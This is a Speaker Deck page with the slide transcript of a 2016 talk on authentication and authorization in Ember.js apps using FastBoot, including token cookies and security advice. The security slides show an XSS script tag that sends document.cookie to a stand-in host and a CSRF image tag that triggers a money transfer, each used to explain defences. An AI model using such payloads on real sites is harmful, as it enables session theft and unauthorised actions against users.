Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Auth* with FastBoot
Search
Sponsored
·
SiteGround - Reliable hosting with speed, security, and support you can count on.
→
Marco Otte-Witte
July 12, 2016
Technology
18k
2
Share
Auth* with FastBoot
An overview of handling authentication and authorization in Ember.js app and Fastboot
Marco Otte-Witte
July 12, 2016
More Decks by Marco Otte-Witte
See All by Marco Otte-Witte
Securing Technology Investments
marcoow
0
270
Handling images on the web
marcoow
0
440
SSR, SPAs and PWAs
marcoow
0
370
Fast, Fast, Fast
marcoow
2
510
Feel the Glimmer - ParisJS
marcoow
1
550
Feel the Glimmer - MunichJS 11/17
marcoow
0
170
The JSON:API spec
marcoow
3
1.8k
Leveraging the complete Ember Toolbelt
marcoow
0
420
Feel the Glimmer
marcoow
1
260
Other Decks in Technology
See All in Technology
フロントエンドの相手が変わった - AIが加わったWebの新しいインターフェース設計
azukiazusa1
33
11k
古今東西SRE
okaru
2
180
ボトムアップ限界を越える - 20チームを束る "Drive Map" / Beyond Bottom-Up: A 'Drive Map' for 20 Teams
kaonavi
0
190
ボトムアップの改善の火を灯し続けろ!〜支援現場で学んだ、消えないための3つの打ち手〜 / 20260509 Kazuki Mori
shift_evolve
PRO
2
670
ServiceによるKubernetes通信制御ーClusterIPを例に
miku01
1
160
サンプリングは「作る」のか「使う」のか? 分散トレースのコストと運用を両立する実践的戦略 / Why you need the tail sampling and why you don't want it
ymotongpoo
4
170
[Scram Fest Niigata2026]Quality as Code〜AIにQAの思考を再現させる試み〜
masamiyajiri
1
320
「QA=テスト」「シフトレフト=スクラムイベントの参加者の一員」の呪縛を解く。アジャイルな開発を止めないために、10Xで挑んだ「右側のしわ寄せ」解消記 #scrumniigata
nihonbuson
PRO
5
1.2k
AI駆動開発で生産性を追いかけたら、行き着いたのは品質とシフトレフトだった
littlehands
0
490
20260513_生成AIを専属DSに_AI分析結果の検品テクニック_ハンズオン_交通事故データ
doradora09
PRO
0
220
サービスの信頼性を高めるため、形骸化した「プロダクションミーティング」を立て直すまでの取り組み
stefafafan
1
260
20260507-ACL-seminar
satoshi5884
0
110
Featured
See All Featured
Are puppies a ranking factor?
jonoalderson
1
3.4k
How to Talk to Developers About Accessibility
jct
2
190
Music & Morning Musume
bryan
47
7.2k
How GitHub (no longer) Works
holman
316
150k
Leveraging LLMs for student feedback in introductory data science courses - posit::conf(2025)
minecr
1
250
Getting science done with accelerated Python computing platforms
jacobtomlinson
2
190
Ethics towards AI in product and experience design
skipperchong
2
270
Abbi's Birthday
coloredviolet
2
7.5k
The #1 spot is gone: here's how to win anyway
tamaranovitovic
2
1k
Discover your Explorer Soul
emna__ayadi
2
1.1k
WENDY [Excerpt]
tessaabrams
10
37k
Tips & Tricks on How to Get Your First Job In Tech
honzajavorek
1
500
Transcript
Auth* with FastBoot
Marco Otte-Witte @marcoow
https://simplabs.com @simplabs
None
https://ember-workshop.simplabs.com
Auth* in Ember
Authentication is verifying the identify of a user
Authorization is verifying permissions of an (authenticated) user
in an Ember app, you cannot actually do any of
these
$E.set('isAuthenticated', true)
$E.set('isAdmin', true)
actual authentication and authorization happens on the API server
authorization in the Ember app itself is only about presenting
a consistent UI
The Status Quo is using token based authorization
the token is issued by the API server upon authentication
and then injected into subsequent (Ember Data) requests
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
None
"progressive enhancement for ambitious web apps"
FastBoot performs the initial render on the server, reducing the
time until the user sees content
after the JavaScript has downloaded, the Ember app takes over
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
A floating session ensures a singular execution context in the
browser as well as in FastBoot
it turns out we've had the mechanism for that since
1997
http://www.discoversmithsfalls.ca/wp-content/uploads/2014/12/mm_cookie.jpg
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.app.com <token> <token>
None
None
None
there's no document.cookie in Node.js
ember install ember-cookies https://github.com/simplabs/ember-cookies
Demo https://github.com/marcoow/fastboot-auth-example
Security Concerns
everyone with access to a user's token can impersonate as
that user
Authorization: Bearer vsret63refrwtu9
Authorization: Bearer vsret63refrwtu9
use HTTPs so that the token is not sent as
clear text!
Authorzation: Bearer 4t4hw4et
make sure your HTTPs is setup correctly
HSTS, TLS 1.1/1.2, PFS, ephemeral Diffie Hellmann key exchange, etc.
validate your HTTPS setup https://www.ssllabs.com/ssltest/
None
http://redpowerstation.co.uk/wp-content/uploads/2013/03/image.jpg https://www.python.org/m/psf/fastly.png
XSS a web developer's worst nightmare
someone gets to execute their (malicious) JavaScripts in the context
of your app
<h2> Hello, {{{user.name}}} </h2>
<h2> Hello, <script>$.ajax('http://bad.ru?cookie=' + document.cookie)</script> </h2>
use {{…}}, not {{{…}}}
don't use htmlSafe on user entered content
enable CSP https://github.com/rwjblue/ember-cli-content-security-policy
what if JavaScript had no access to the cookie holding
the token in the first place?
An alternative approach using token based authorization via a HttpOnly
cookie
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
https://design.google.com/icons/ https://design.google.com/icons/ app.com app.com/api
this has implications on your domain setup
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X X
https://design.google.com/icons/ https://design.google.com/icons/ app.com api.com X X X
Demo https://github.com/marcoow/fastboot-auth-example/tree/cookie-based
CSRF makes users initiate requests without their consent or knowledge
<img src="http://bank.com/transfers-money?amount=1mio&to=attacker"/>
None
when using the Authorization header for authorizing API requests, CSRF
doesn't work
when using a cookie for authorizing API requests, you're vulnerable
to CSRF attacks
CSRF results in GET requests which should not modify anything
on the API
an attacker could initiate requests to the FastBoot server
FastBoot only pre-renders though, does not execute actions etc.
do not perform anything potentially unsafe in beforeModel, model, afterModel
etc.
do not perform anything potentially unsafe in beforeModel, model, afterModel
etc. (you probable don't anyways)
Wrapping up
Use token based authorization
use a cookie to transparently move authentication state and authorization
info between the browser and FastBoot
…and make sure you're safe
you could implement all these things yourself…
None
1.2 is going to support FastBoot out of the box
Thanks
http://simplabs.com @simplabs